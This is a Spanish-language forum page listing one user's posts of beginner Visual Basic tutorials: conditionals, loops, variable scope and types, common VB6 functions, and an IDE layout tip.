Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Alex

#701
Visual Basic / Re:VB - guia basica del estudiante.
Enero 26, 2013, 03:12:35 AM
Lenguaje Basic del Visual Basic.

No ha sido un juego de palabras. VB emplea unas instrucciones casi iguales a las que emplea Quick Basic. Sin embargo ha añadido otras nuevas instrucciones, inherentes con la programación visual. Vamos a estudiar aquí las instrucciones y definiciones mas sencillas, comunes a QB y VB.

Sentencias condicionales.

Llamamos sentencias condicionales a aquellas que se realizan si se cumple una determinada condición. Son las sentencias por las que empieza cualquier texto de Basic, y este no va ser menos.

La sentencia condicional mas usada es:

Si se cumple una condición Entonces

Realiza estas instrucciones

Si no se cumple

Realiza estas otras instrucciones

Fin de la sentencia.

Así de fácil es programar en Basic. Lo que ocurre es que esta herramienta habla inglés, y lo descrito anteriormente toma la forma:

Código: text
If condición Then

Instrucciones

Else

Otras instrucciones

End If


En este ejemplo, la condición era que, o se cumple una condición y ejecuta unas determinadas instrucciones, o no se cumple, y ejecuta otras condiciones distintas. Puede ocurrir que, caso de no cumplirse la condicione primera, se abra un abanico de dos o tres posibilidades. La sentencia condicional tendría entonces la forma:

Código: text
If condición 1 Then

Instrucciones

ElseIf Condición 2

Otras instrucciones

ElseIf Condición 3

Otro juego de instrucciones

Else


Instrucciones que debe realizar caso de no cumplir las condiciones 1, 2 y 3.

Código: text
End If


Como decíamos anteriormente, este es el tipo de sentencia condicional mas usada. Existe otra:

Código: text
Select Case


Su nombre casi nos define lo que es: Selecciona, dependiendo del caso, un determinado juego de instrucciones:

Código: text
Select Case variable ' variable es una variable que puede tomar los valores (p.e.) de 1 a 4


Código: text
Case 1


Instrucciones a ejecutar en caso de que variable = 1

Código: text
Case 2


Instrucciones a ejecutar en caso de que variable = 2

Código: text
Case 3


Instrucciones a ejecutar en caso de que variable = 3

Código: text
Case 4


Instrucciones a ejecutar en caso de que variable = 4

Código: text
End Select


Este procedimiento resulta mucho mas sencillo y rápido que las sentencias If Then Else

vistas anteriormente, cuando el margen de elección es mayor que 2.

Cuando lo que queremos es elegir un valor, no ejecutar instrucciones como hacíamos anteriormente, disponemos de otras dos funciones: Choose y Switch.

Switch toma una serie de parámetros, todos por parejas. El primer término de cada pareja es la expresión a evaluar. El segundo es el valor que tiene que devolver. En realidad Switch es una función (las funciones las veremos muy pronto)

Código: text
A = Switch (B=1, 5, B=2, 7, B=3, 11)


Esta instrucción obtiene un valor para A que dependerá del valor que tome B entre los valores posibles (1, 2 ó 3)

La sentencia Choose es casi igual, cambia solamente la forma. La misma intrucción anterior puede realizarse con Choose de la siguiente forma:

Código: text
A = Choose ( B, 5, 7, 11 )


En estas sentencias, Switch y Choose, si el valor de B no coincide con ninguno de los valores que se le habían establecido (1, 2 ó 3 en nuestro caso), la sentencia devuelve el valor Nulo ( Null ). Esto puede producir algún error si no se contempla esa posibilidad.

Con estas sentencias condicionales es posible realizar bifurcaciones del programa, cambiar las propiedades de un objeto, obtener resultados de operaciones, ....

Sentencias de bucle.

Es muy común utilizar bucles a lo largo de un programa. Un bucle es una sucesión repetitiva de instrucciones, que se estarán realizando mientras se cumpla una condición o mientras no se cumpla otra condición. Es tan sencillo como esto:

Mientras condición

Instrucciones

Fin del bucle

Existen dos formas de bucle: Una, que realiza un número determinado de recorridos por el bucle. Es el denominado bucle por contador. Otra, realiza el bucle hasta que se cumpla (o deje de cumplirse) una condición. Es el llamado bucle por condición.

Bucle por contador

Realiza el bucle tantas veces como le indiquemos. Por ejemplo, en este bucle nos va a presentar las 26 letras mayúsculas del alfabeto inglés

Código: text
For N=65 To 90

Label1.caption = Chr ( N )

Next N


Este "programa" nos presentará en una caja (Label) los caracteres cuyo número ASCII vaya desde el 65 (A) al 90 (Z) Comenzará presentando el correspondiente al número 65, e irá presentando sucesivamente el 66, el 67, etc., hasta llegar al 90, donde se parará.

Bucles por condición

Ejecuta las instrucciones del bucle mientras se cumple una condición

Código: text
X = 0

Do While X < 1000

X = X + 1

Loop


El programa toma una variable ( X ) que previamente tuvimos la curiosidad de ponerla a cero, e incrementa su valor una unidad. Analiza si el valor de X es menor que 1000, y si es cierto, vuelve a realizar el bucle. Así hasta que X ya no sea menor que 1000. Al dejar de cumplirse que X sea menor que 1000, sale del bucle. Acabamos de realizar un temporizador, y también de exponer las sentencias condicionales y los bucles, inicio de cualquier curso de Basic. Como final de lección, se propone un problema. Con el primer bucle, donde visualizábamos los caracteres A a la Z, posiblemente no nos diese tiempo de ver cada una de las letras que iban apareciendo en la pantalla, en la etiqueta Label1, dado que cambiaría con mucha velocidad, y solamente veríamos la Z, que es donde se detuvo el programa. Podemos poner un temporizador cada vez que presente una letra, y así nos dará tiempo a verla. Con los dos bucles vistos anteriormente ya podemos hacerlo.

Si lo que queremos es que el programa se ejecute mientras no se cumpla una determinada condición, la sentencia será:

Código: text
X = 0

Do Until X > 1000

X = X + 1

Loop


Observe que la diferencia entre una y otra es la condición, While para indicar Mientras se cumpla que ... y Until para indicar Mientras no se cumpla que ....

Para terminar bien el programa anterior utilizaremos la condición de While (Mientras se cumpla la condición)

Código: text
For N=65 To 90

Label1.caption = Chr ( N )

Label1.RefreshN ' Refresca la etiqueta

X = 0

Do While X < 1000

X = X + 1

Loop

Next N


Este es nuestro primer programa en BASIC. En VISUAL BASIC es idéntico, pero nos falta la interface gráfica. Para realizarla basta con abrir el VB y sobre el formulario que aparece al abrirlo, introducir una etiqueta, (Label) que llevará el nombre por defecto de Label1. Solo nos queda pensar donde introducimos el código anterior. Podemos introducir un botón de comando (Command Button) que saldrá con el nombre por defecto de Command1. Haga doble click sobre el botón. Aparecerá el procedimiento Click. Este procedimiento es el que se realiza cuando hacemos click sobre ese botón. Escriba en ese procedimiento este código.

Código: text
Private Sub Command1_Click() ' Esta línea sale automáticamente

For N=65 To 90

Label1.caption = Chr ( N )

Label1.RefreshN ' Refresca la etiqueta

X = 0

Do While X < 1000 ' Bucle de temporización

X = X + 1

Loop

Next N ' Termina el bucle de temporización

End Sub ' Esta línea sale automáticamente


Hemos puesto nuestra primera piedra en Visual Basic. Este ejemplo es muy sencillo. Visual Basic es tan sencillo como este ejemplo.
#702
Visual Basic / Re:VB - guia basica del estudiante.
Enero 26, 2013, 03:12:06 AM
Ambito de las variables.

Denominamos ámbito de una variable a las partes del programa donde esa variable está declarada. Para entenderlo mejor, veamos someramente la forma de un programa desarrollado en VB.

Un programa VB tiene uno o varios formularios. Cada formulario tiene varios controles. Tanto el formulario como cada uno de sus controles tienen una parte del programa, justamente la parte relacionada con cada uno de los eventos que pueden suceder bien al formulario o a los controles. A estas partes las habíamos llamado Procedimientos. Podemos tener procedimientos que no estén relacionados con ningún evento ocurrido al formulario o a sus controles. (Los Procedimientos que iremos insertando a lo largo de la aplicación)

Aparte de formularios y controles, un programa puede tener Módulos, y en cada uno de los módulos podemos insertar cuantos Procedimientos y Funciones queramos. La estructura de un programa VB puede ser de la siguiente forma:

Código: text
Formulario1 Formulario2 Formulario3 Módulo1 Modulo2

Declaraciones Declaraciones Declaraciones Declaraciones Declaraciones

Proc. A1 Proc.B1 Proc.C1 Proc.D1 Proc.E1

Proc. A2 Proc.B2 Proc.C2 Proc.D2 Proc.E2

Proc. A3 Proc.B3 Proc.C3 Proc.D3 FunciónE1

Proc. A4 Proc.B4 Proc.C4 Proc.D4 FunciónE2

Proc. A5 Proc.BB1 Proc.CC1 FunciónE3

Proc. AA1 Proc.BB2 Proc.CC2 FunciónE4

Proc. AA2 Proc.B33 Proc.CC3 FunciónE5

Proc. AA3 Proc.CC4 FunciónE6


Si se declara una variable dentro de un procedimiento o Función, esa variable "NO SALE" del Procedimiento o Función donde se declaró. El procedimiento puede estar en un Formulario (Cualquier procedimiento de un control o un procedimiento creado por nosotros) o en un Módulo (En este caso, el procedimiento solo puede ser creado por nosotros)

En un Formulario, una variable puede declararse de dos formas : Privada o Pública. Para declarar una variable a nivel de formulario debe hacerse en la sección de declaraciones, que está la ventana de código Objeto = General, Proc. = Declaraciones. Si se declara Privada, esa variable se puede mover por todo el formulario, (es decir, por todos los procedimientos de todos los controles del formulario y por los Procedimientos que pudiésemos insertar en ese formulario), pero no sale de dicho formulario. Si se declara como Pública, esa variable puede moverse por todo el formulario, de la misma forma que lo haría declarada como Privada, y además puede ser usada desde otro Formulario o Módulo, citándola con el nombre del Formulario, seguido del nombre de la variable ( Formulario.Variable)

En un Módulo una variable puede declararse como Privada, con lo que no saldrá de ese Módulo, o Pública, pudiendo en este caso usarse en todo el programa. Cuando se declara una variable como pública en un Módulo, basta referirse a ella por su nombre, sin citar el nombre del Módulo donde se declaró.

En VB es posible declarar varias veces las variables, es decir, pueden declararse a nivel de formulario, en su apartado de declaraciones, y esa variable conservará su valor en todas las partes de ese formulario. Sin embargo, si se declara una variable con el mismo nombre a un nivel inferior, por ejemplo al principio de un procedimiento, esa variable será una variable distinta a la anterior, aunque tenga el mismo nombre, a al declararla en un Procedimiento, solamente será válida en ese Procedimiento. Una vez que hayamos salido de ese procedimiento, la variable con ese nombre volverá a ser la declarada en el Formulario. En realidad, lo que tenemos son dos variables distintas, pero con el mismo nombre, una declarada para todo el formulario excepto para el procedimiento donde se volvió a declarar, y otra para ese procedimiento concreto.

NOTA.- No es recomendable declarar una variable a dos niveles. Es mucho mejor utilizar otro nombre para esa variable dentro del procedimiento donde se le declararía por segunda vez. A esta nota cabe exceptuar cuando declaramos variables para una operación tipo contador

Código: text
For I = 1 To N


Esa variable I es práctico declararla con el mismo nombre en cada Procedimiento donde se use.

Tipos de declaración de variables.

Sentencia DIM Es la forma mas común de declarar una variable como

Privada. Puede emplearse en un Procedimiento, Función, Formulario o Módulo. La sintaxis es de la siguiente forma:

Código: text
Dim nombrevariable As Integer (o el tipo que sea)


Declarando una variable con la sentencia DIM, en un formulario, Función, procedimiento o módulo, el entorno de la variable será el explicado anteriormente para una variable declarada como Privada. Es decir, esa variable no sale del formulario, procedimiento ó módulo donde se declaró. Cada vez que entremos al formulario, procedimiento o módulo, esa variable tomará el valor cero (si es numérica) o nulo (si es string).

Sentencia PRIVATE Es la forma de declarar una variable como Privada. Puede

emplearse solamente en la sección de declaraciones de un Formulario o Módulo. La sintaxis es de la siguiente forma:

Código: text
Private nombrevariable As Tipovariable


Declarando una variable mediante la sentencia PRIVATE en un Formulario o Módulo, esa variable puede usarse en todo ese Formulario o Módulo (En todos sus Procedimientos y Funciones), pero NO fuera del Formulario o Módulo donde se declaró.

La sentencia Private no puede usarse en un procedimiento o función.

Sentencia PUBLIC Es la forma de declarar una variable como Pública. Puede

emplearse solamente en la sección de declaraciones de un Formulario o Módulo. La sintaxis es de la siguiente forma:

Public nombrevariable As Tipovariable

Declarando una variable de esta forma en la sección de declaraciones de un Módulo, esa variable puede usarse en cualquier parte del programa citándola simplemente por su nombre.

Si se declara de esta forma en la sección de declaraciones de un Formulario, esa variable puede usarse en toda el programa. Para nombrarla, si estamos en el Formulario donde se declaró basta con citarla por su nombre. Si no estamos en ese Formulario, habrá que citarla por el nombre del Formulario, seguido del nombre de la variable, separados por un punto :

NombreFormulario.Nombrevariable

En un Módulo puede usarse también la sentencia Global en vez de Public :

Sentencia GLOBAL Declara una variable que es válida en todo el programa. La sintaxis es:

Global nombrevariable As tipovariable

La sentencia Global sólo puede usarse en el apartado de declaraciones de un Módulo.

Mediante la sentencia Global la variable puede usarse en todo el espacio del programa.

Sentencia STATIC

Como se dijo anteriormente, una variable declarada en un procedimiento pierde su valor al salir de él. Lo peor es que una vez que el programa vuelva a entrar en ese procedimiento, la variable estará puesta a cero. Afortunadamente, esto último tiene solución. Si declarásemos una variable en un procedimiento o función, como estática, esa variable, aunque no la podremos utilizar fuera de ese procedimiento o función, cuando volvamos a él conservará el valor que tenía cuando lo abandonamos. Esta declaración como estática se realiza mediante la intrucción Static

Static nombrevariable As tipovariable

El nombre de una variable puede ser tan largo como queramos. hasta un máximo de 40 caracteres. En la versión VB para España se pueden usar incluso la í' y vocales acentuadas. Es indiferente usar mayúscula ó minúsculas. No se sorprenda, si por ejemplo, la ha declarado con mayúsculas y luego la cita con minúsculas al escribir el código, que automáticamente se cambie a mayúsculas. El nombre de una variable siempre debe comenzar por una letra.

No hay problema por utilizar variables largas. Al compilar el programa no se lleva el nombre, es decir, no le va a ocupar mas espacio. Utilice siempre nombres que le definan la variable con algún sentido. Es muy útil a la hora de acordarse como se llaman, y sobre todo, a la hora de rehacer un programa que realizó hace seis meses.

Pese a que Visual Basic no obliga a declarar variables, es muy útil hacerlo. De esta forma se tiene control sobre el programa. La experiencia se lo irá demostrando.

Resumimos la forma de declarar una variable :

En un Procedimiento (La variable no puede usarse fuera de esta Procedimiento)

Código: text
Dim Variable As Tipovariable


En un Procedimiento, como permanente (La variable no puede usarse fuera de este procedimiento, y dentro de él conserva el valor aunque se salga y se vuelva a entrar)

Static Variable As Tipovariable

En un Formulario (En su sección de declaraciones)

Como Privada (Solamente se puede usar en ese Formulario)

Código: text
Dim Variable As Tipovariable ó


Código: text
Private Variable As Tipovariable


Como Pública (Puede usarse en toda la aplicación)

Código: text
Public Variable As Tipovariable


En un Módulo

Como Privada (Solamente puede usarse en ese Módulo)

Código: text
Dim Variable As Tipovariable


Código: text
Private Variable As Tipovariable


Como Pública (Puede usarse en toda la aplicación)

Código: text
Public Variable As Tipovariable


Código: text
Global Variable As Tipovariable


Error típico de un programador novel de Visual Basic

Creo que esta costumbre viene del lenguaje C. Pero no vale en VB. Se trata de declarar varias variables juntas en una misma línea :

Código: text
Dim Variable1, Variable2, Variable3, Variable4 As String


Esta declaración está MAL hecha. Visual Basic interpretará que Variable1, Variable2 y Variable3 son del tipo Variant, y solamente Variable4 la supone como tipo String

La forma correcta de hacerlo, si queremos declarar esas variables un una sola línea, es la siguiente :

Código: text
Dim Variable1 As String, Variable2 As String, Variable3 As String, Variable4 As String.
#703
Visual Basic / Re:VB - guia basica del estudiante.
Enero 26, 2013, 03:11:51 AM
Características Generales de Visual-Basic

Visual-Basic es una herramienta de diseño de aplicaciones para Windows, en la que estas se desarrollan en una gran parte a partir del diseño de una interface gráfica. En una aplicación Visual - Basic, el programa está formado por una parte de código puro, y otras partes asociadas a los objetos que forman la interface gráfica.

Es por tanto un termino medio entre la programación tradicional, formada por una sucesión lineal de código estructurado, y la programación orientada a objetos. Combina ambas tendencias. Ya que no podemos decir que VB pertenezca por completo a uno de esos dos tipos de programación, debemos inventar una palabra que la defina : PROGRAMACION VISUAL.

La creación de un programa bajo Visual Basic lleva los siguientes pasos:

- Creación de un interface de usuario. Este interface será la principal vía de comunicación hombre máquina, tanto para salida de datos como para entrada. Será necesario partir de una ventana - Formulario - a la que le iremos añadiendo los controles necesarios.

- Definición de las propiedades de los controles - Objetos - que hayamos colocado en ese formulario. Estas propiedades determinarán la forma estática de los controles, es decir, como son los controles y para qué sirven.

- Generación del código asociado a los eventos que ocurran a estos objetos. A la respuesta a estos eventos (click, doble click, una tecla pulsada, etc.) le llamamos Procedimiento, y deberá generarse de acuerdo a las necesidades del programa.

- Generación del código del programa. Un programa puede hacerse solamente con la programación de los distintos procedimientos que acompañan a cada objeto. Sin embargo, VB ofrece la posibilidad de establecer un código de programa separado de estos eventos. Este código puede introducirse en unos bloques llamados Módulos, en otros bloques llamados Funciones, y otros llamados Procedimientos. Estos Procedimientos no responden a un evento acaecido a un objeto, sino que responden a un evento producido durante la ejecución del programa.

No es necesario entender de momento lo anterior. Visual Basic introduce un concepto nuevo de programación, y es necesario cambiar hasta el argot del programador. Posiblemente se le habrán acumulado demasiados términos de una sola vez. Es normal. A poco que siga leyendo verá las cosas mas claras cuando se explique una por una.

--------------------------------------------------------------------------

VARIABLES. DEFINICION Y ENTORNO

Basic, desde siempre, al contrario de otros sistemas de programación, no exigió la definición previa de una variable. Una variable, como Vd. seguro que conoce, es un nombre que en el programa le asignamos a un dato. Ese dato podrá cambiar. Piense por ejemplo, en un programa consistente en la toma de datos de los alumnos de un centro escolar. Existirán varias variables para poder introducir los datos de los alumnos. Estas variables pueden tener nombre tales como:

Código: text
Nombre

Apellido1

Apellido2

Dirección

Teléfono

DNI


La variable Nombre tomará valores distintos según vayamos introduciendo los datos de los distintos alumnos. Es posible, que a lo largo de la ejecución del programa, esta variable Nombre valga:

Código: text
José

Pedro

María

Luis


Espero que su intuición o conocimiento anterior le lleve a conocer el concepto de variable. Mas adelante lo verá mas claro.

Decíamos que Basic no exige la definición previa de las variables. Otras herramientas exigen que se haga así. Por lo tanto es normal encontrar, en otros sistemas de programación, que un programa comienza de la siguiente forma:

Código: text
Declare Nombre As String Le dice que Nombre es una sucesión de letras

Declare Apellido1 As String

Declare Apellido2 As String

Declare Dirección As String


Declare Teléfono As String Le dice que Teléfono es una sucesión de letras

Código: text
Declare DNI As Número Le dice que DNI es un número


Mediante estas declaraciones, el programa sabe de que tipo de dato se trata y por tanto cómo debe trabajar con él. En otros sistemas de programación distintos de Basic, es necesario realizar esta declaración antes de introducir una variable.

Basic permite que no se declaren. Cuando a lo largo del programa le introducimos una variable nueva, asume que es una variable y que el tipo es el adecuado para el valor que le estamos introduciendo en ese momento.

Por ejemplo, si Basic encuentra estas instrucciones

Código: text
DNI=50000000

Nombre ="Pedro"

Teléfono = "1234567"


entiende que DNI, Nombre y Teléfono son variables, que DNI es un número (No hemos metido su valor entre comillas), y que Nombre y Teléfono son sucesiones de caracteres alfanuméricos (su valor está entre comillas)

Esta particularidad de no necesitar declarar las variables hace que sea sencillo introducir una variable nueva. Sin embargo entraña un gran peligro. Imagínese que en un paso posterior del programa, le mandamos escribir esos tres datos anteriores con la instrucción PRINT

Código: text
Print DNI

Print Nombre

Print Telefono


Habrá observado en tercer lugar la palabra Telwfono, que por error ha introducido el programador. Basic interpreta que Telwfono es una variable e irá a leer en memoria el valor que tiene. No tendrá ningún valor. Por lo tanto no escribirá nada y encima no dará ningún aviso de que se ha cometido un error. Nada es gratis en esta vida, y la facilidad para introducir variables se paga con la posibilidad de un error.

Basic ha pensado en ese problema, y se puede solucionar con esta que será la primera instrucción BASIC que vamos a estudiar:

OPTION EXPLICIT

Obliga a declarar previamente las variables que se vayan a usar. De no haberla declarado antes de usarla, el programa dará una comunicación de error.

TIPOS DE VARIABLES

Las variables pueden ser de los siguientes tipos: (El número indicado en segundo lugar indica el número de Bytes que ocupa en memoria.)

Código: text
Boolean (2) Admite los valores 0 y 1, o True (verdadero) y False (falso)

Byte (1) Números enteros, en el rango de 0 a 255

Integer (2) Números enteros en el rango de -32768 a 32767

Long (4) Números enteros en el rango de -2147483648 a 2147483647

Single (4) Punto flotante, simple precisión

Doble (8) Punto flotante, doble precisión.

Currency (8) Entero, con punto decimal fijo (Típico de monedas)

String (*) Cadenas alfanuméricas de longitud variable o fija

Date (8) Fechas

Objet (4) Referencia a objetos

Variant (**) Otros tipos de datos


(*) Una variable tipo String ocupa el mismo número de bytes que caracteres tenga la cadena.

(**) Una variable tipo Variant ocupa 16 bytes si se trata de un número y 22 bytes + longitud de la cadena si se trata de un dato tipo cadena de caracteres.

Existen también variables definidas por el usuario (Ya verá la sentencia Type). En este tipo de variables se pueden introducir muchos datos de distinto tipo. Los bytes necesarios para almacenar esa variable dependerá de los datos que se hayan definido.

Dentro de las variables Objet (variables que se refieren a objetos) existe una gran variedad que a estas alturas del curso no debemos complicarnos con ellas. Pero para adelantar algo, veremos que una variable puede ser del tipo Form - Formulario - , tipo Picture, etc. etc.

Cada tipo de variable ocupa unos determinados bytes. Si no se define una variable, VB toma como tipo por defecto para la variable el tipo Variant. Este tipo ocupa mas bytes que, por ejemplo, un integer. Si el tipo de dato que vamos a introducir en una variable es un integer, y no la hemos declarado como tal, VB asumirá para esa variable que es del tipo Variant, lo que le llevará a gastar mas bytes de memoria (16) que los que necesitaría (2) si la hubiésemos declarado previamente. Si esa variable va a estar en el rango de 0 a 255, y no declaramos previamente que la variable va a se del tipo Byte, o la declaramos como integer, p. e., estamos desperdiciando memoria RAM y posiblemente, retardando la ejecución del programa. Lo mismo podemos decir del resto de las variables, y lo importante que es definirlas y definirlas bien.

NOTA. Observe en la lista anterior que un dato Booleano ocupa 2 Bytes, mientras que un dato tipo Byte ocupa un byte. En muchas ocasiones declaramos variables tipo Boolean con la intención de que ocupen menos espacio. Paradoja del VB. Si la declaramos como Byte ocupamos menos espacio en memoria. Declarar una variable como Boolean tiene también sus ventajas (escribirá menos código por lo general cuando necesite leer o escribir una variable tipo Boolean), pero tenga presente esta observación respecto a los datos Boolean.

Puede declarar el tipo de la variable mediante un carácter después del nombre de la variable. Esta técnica, obligatoria en Quick-Basic, está en desuso en VB. No es recomendable definir el tipo de esta forma, pues existe un serio peligro de error. De cualquier forma, eso es potestativo del programador y de sus costumbres.

Los caracteres que definen cada tipo de variable son:


Código: text
% Integer & Long ! Single

# Double @ Currency $ String


Ejemplos Prácticos de declaración de variables

En Visual Basic, cuando declaramos una variable como String (Cadena de caracteres), no es necesario declarar su longitud. VB aceptará cualquier número de caracteres. Si desea evitar que se puedan introducir más de un determinado número de caracteres, debe declarar su número. Por ejemplo :

Código: text
Dim Var1 as String Var1 puede tener cualquier número de caracteres

Dim Var2 as String * 15 Var2 puede tener un máximo de 15 caracteres.

En este segundo caso, si se introduce como Var2 una cadena de caracteres con mas de 15 caracteres, Var2 tomará solamente los 15 primeros. Visual basic no presenta ningún aviso de que esa variable ha omitido los caracteres que han sobrepasado la cifra de 15. Si desea que el usuario conozca esa circunstancia, debe introducir el código oportuno para producir el aviso.

La declaración de variables tipo String con número de caracteres predefinido presenta también inconvenientes a la hora de tratar esa cadena de caracteres con sentencias tales como Mid, Left y Right, o a la hora de añadir una cadena a otra. La experiencia nos indica que NO merece la pena declarar variables tipo String con el número de caracteres prefijado.

En una gran parte de los casos una variable que se compone de números debe declararse como una variable de cadena de caracteres (String), y no como numérica. Cuando pensamos por ejemplo en un número de DNI, compuesto por 7 u 8 cifras, un código postal, el número de una calle, el piso de un edificio, parecen invitar a que la variable que los contenga sea una variable de tipo numérico (Byte, Integer, Long, ...). Estas variables, aunque su contenido sean números, siempre se deben declarar como String, ya que se tratan en realidad de cadenas de caracteres, aunque estos sean números. Para aclarar mas estas ideas, piense en el número del DNI con la letra del NIF incluido, o que el lugar del DNI se deba rellenar con el número del permiso de residencia, (lleva letras). Piense en el código postal de una provincia que comienza por 0 ( 08XXX = Barcelona ) . Si la variable que va a contener ese código postal se declara como numérica, el cero de la izquierda lo desprecia, por lo que ese código postal quedaría reducido al 8XXX, número de 4 cifras que el cartero nunca reconocería como un código postal, que necesariamente ha de tener 5 cifras. Para terminar, piense la forma de introducir en una variable numérica el número 32Bis de una calle o el piso S2 de un edificio. O piense en una variable que va a contener un código de un producto. Ese código siempre va a ser un número, por ejemplo de 9 cifras. ¿Ha pensado como trataría el ordenador una variable numérica que contiene el código 000100123 ?. El resultado sería que convertiría ese código en la cifra 100123, y Vd. deberá buscarse la vida para añadir los ceros iniciales a la hora de sacarlo a una impresora, por ejemplo.

En todos los casos anteriores, el número no representa una cantidad numérica, sino un nombre. Lo que ocurre es que ese nombre contiene solamente números.

¿Qué variables debemos declarar entonces como numéricas ? La respuesta es bien sencilla : Aquellas que van a contener datos con lo que vamos a realizar operaciones matemáticas.

Las variables booleanas (True/False) pueden en muchos casos sustituirse por una variable del tipo Byte. Si ese datos True / False se va a introducir en una base de datos o en fichero en el disco, puede ser mas prudente poner 0 en vez de False y 1 en vez de True.

Una variable byte ocupa muy poco, simplemente 1 byte como su nombre indica. Pero no puede contener números mayores de 255 ni números negativos.

Cada vez que declare una variable numérica piense en los valores que puede tener, sobre todo cuando esa variable va a ser el resultado de una operación matemática. Recuerde el escaso margen de una variable tipo Integer ( de -32768 a 32767)

Si la aplicación va a tratar moneda, piense en la forma de expresar los números decimales y el número de ellos permitidos, así como el redondeo. La variable correcta para este caso es Currency, pero Currency le añade automáticamente el tipo de moneda de cada país (Pts. Para España) lo que con frecuencia es un engorro. Los datos del tipo de moneda los toma del sistema operativo del ordenador, por lo que no se extrañe si le expresa el número de pesetas en dólares. Cambie el país en su S. O.
#704
Visual Basic / VB - guia basica del estudiante.
Enero 26, 2013, 03:11:02 AM
Madrid, Julio de 1998
FUENTE (www.monografias.com)

Visual Basic - Guía del Estudiante Cap. 1

INTRODUCCION Antecedentes históricos.

El lenguaje de programación BASIC (Beginner's All purpose Symbolic Instruction Code ) nació en el año 1964 como una herramienta destinado a principiantes, buscando una forma sencilla de realizar programas, empleando un lenguaje casi igual al usado en la vida ordinaria ( en inglés), y con instrucciones muy sencillas y escasas. Teniendo en cuenta el año de su nacimiento, este lenguaje cubría casi todas las necesidades para la ejecución de programas. Téngase en cuenta que las máquinas existentes en aquella época estaban estrenando los transistores como elementos de conmutación, los ciclos de trabajo llegaban a la impensable cifra de 10.000 por segundo y la memoria no pasaba de unos pocos k´s en toroides de ferrita.

La evolución del BASIC por los años 70 fue escasa, dado el auge que tomaron en aquella época lenguajes de alto nivel como el FORTRAN y el COBOL. En 1978 se definió una norma para unificar los Basics existentes creándose la normativa BASIC STANDARD
#705
Visual Basic / Funciones en VB6
Enero 26, 2013, 03:09:54 AM
algo que les ba a servir bastante:




Función Val
Esta función permite convertir una cadena de caracteres a su forma numérica, es decir omite espacios, tabuladores y letras que esten despues de un numero.

Ejejmplos:

Num = Val("perro1205sata")
Num es igual a 1205

Str() - que convierte números a cadenas de caracteres, la inversa a Val()
Sqr() - Raiz Cuadrada
Exp() - Elevación a la potencia
Abs() - Valor absoluto
Cos() - Coseno
Sin() - Seno
Tan() - Tangente
Chr(Entero) ' Devuelve el carácter del No. ASCII
Len(Cadena) ' Devuelve el total de car. de una cadena
Lcase(Cadena) ' Devuelve una cadena en minusculas
Ucase(Cadena) ' Devuelve una cadena en MAYUSCULAS
Left(Cadena,N de Car Ext) ' Extrae caracteres de Izq a Der
Mid(Cadena, No Ini, N You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login Ext) ' Extrae x numero de caracteres de una cadena de Izq a Der apartir de una posición inicial
Right(Cadena,N de Car Ext) ' Extrae caracteres de Der a Izq.
Instr(Cadena, Caracter) ' Busca un caracter dentro de una cadena devolviendo su posición dentro de la cadena en el cual fué encontrado, en caso de no encontrarse el caracter dentro de la cadena, el valor devuelto será 0




pueden ver mas info en el examinador de objetos, es de gran ayuda :D

bye

pd: si ven que me falto alguna pleace comenten :D (se me olvidan xD)
gracias Dreamaker
gracias BlackZeroX
#706
uhm, buenas... mirando el baul de los recuerdos, encontré un viejo post, que me recordó viejas epocas, cuando era moderador de visual basic en cph junto con EddyW. (allá por el 2008, cuando cph tenía ese theme tan hermoso)




weno, el otro día respondí una duda que me dejó impresionado, hablando sobre el diseño de visual basic, el comun que todos tenemos, quedaría mucho mejor así:

queda muy impresionante y lindo, hasta de momentos es practico pero si estas muy acostumbrado a la vieja forma te costará.

lo que hace esto es hacer que cada cosa de visual basic sea una ventana aparte, entonces vos la pones como se te de la gana y queda muy estilo libre.

para lograr eso deben ir a:

herramientas --> opciones --> pestaña avanzado --> seleccionamos casilla "entorno de desarrollo SDI"

y luego cerramos y abrimos vb así queda bien wapo como diría drinky.

salu2
#707
Empezando a programar en Visual Basic

Variables
Una variable seria un nombre al cual le daremos un dato, ese dato puede cambiar. Ejemplo:
En un programa que administra a todos los empleados de una empresa:

   Nombre
   Apellido 1
   Telefono
   Salario
   
La variable Nombre tomara datos distintos segun vayamos introduciendo la informacion, las variables tomarian un dato de nombre, el cual seria:

   Jazmin
   Erik
   Ivan
   
Osea Visual Basic no pide la definicion previa de las variables, pero siempre es bueno definirlas debido a que si se declaran correctamente el programa puede ser mejor, por que al no definir las variables, Visual Basic, retoma que son de tipo Variant y asi consume mas memoria que cualquiera de otro tipo.
En algunos otros lenguajes de programacion xD!, empieza asi:

            Declare Nombre As String             Le dice que Nombre son letras
   Declare Apellido1 As String           Le dice que Apellido1 son letras
   Declare Telefono As String   Le dice que Telefono son letras
   Declare Salario As Numero   Le dice que Salario es un numero

Con esto se logra que el programa sepa con que tipos de datos se trabajara, Visual Basic permite que no se declaren, cuando introducimos una variable, retoma que es una variable y que el tipo es correcto para el tipo de dato, si en Visual Basic encuentra esto:
               
                Nombre ="Jazmi­n"
                Salario=2000
      Telefono = "987654321"

El lo recibiria de la manera en que Salario, Nombre y Telefono son unas variables.
Nombre:Son letras, por que esta en comillas "".
Salario:Es un numero, por que no esta dentro de comillas "".
Telefono:Son letras, por que estan en comillas "".

Esto hace que introducir una nueva variable sea facil, comodo y sencillo, pero en un caso xD!!(Mala suerte), intenta trabajar con el comando PRINT, y comete un error:

Código: text
                Print Nombre
                Print Salaro
       Print Telefono


El error esta en el segundo lugar y en lugar de decir "Salario", dice
"Salaro", Visual Basic interpretaria a "Salaro" como una variable e intentara leer el valor que tiene, como no tendra ningun valor, no se escribira nada y no dara ningun aviso de error.

TIPOS DE VARIABLES

Las variables pueden ser de los siguientes tipos, el numero indicado en el parentesis es el numero de Bytes que ocupa en la memoria:

Booleana   (2)   Admite los valores 0 y 1, o True (verdadero) y False (falso)
Byte      (1)   Numeros enteros en el rango de 0 a 255
Integer      (2)   Numeros enteros en el rango de -32768 a 32767
Long      (4)   Numeros enteros en el rango de -2147483648 a 2147483647
Single      (4)   Punto flotante, simple precision
Doble      (8)   Punto flotante, doble precision.
Currency               (8)        Entero, con punto decimal fijo 
String      (*)   Cadenas alfanumericas de longitud variable o fija
Date      (8)   Fechas
Objet      (4)   Referencia a objetos
Variant      (**)   Otros tipos de datos

(*)String ocupa el mismo numero de Bytes que caracteres tenga la cadena.
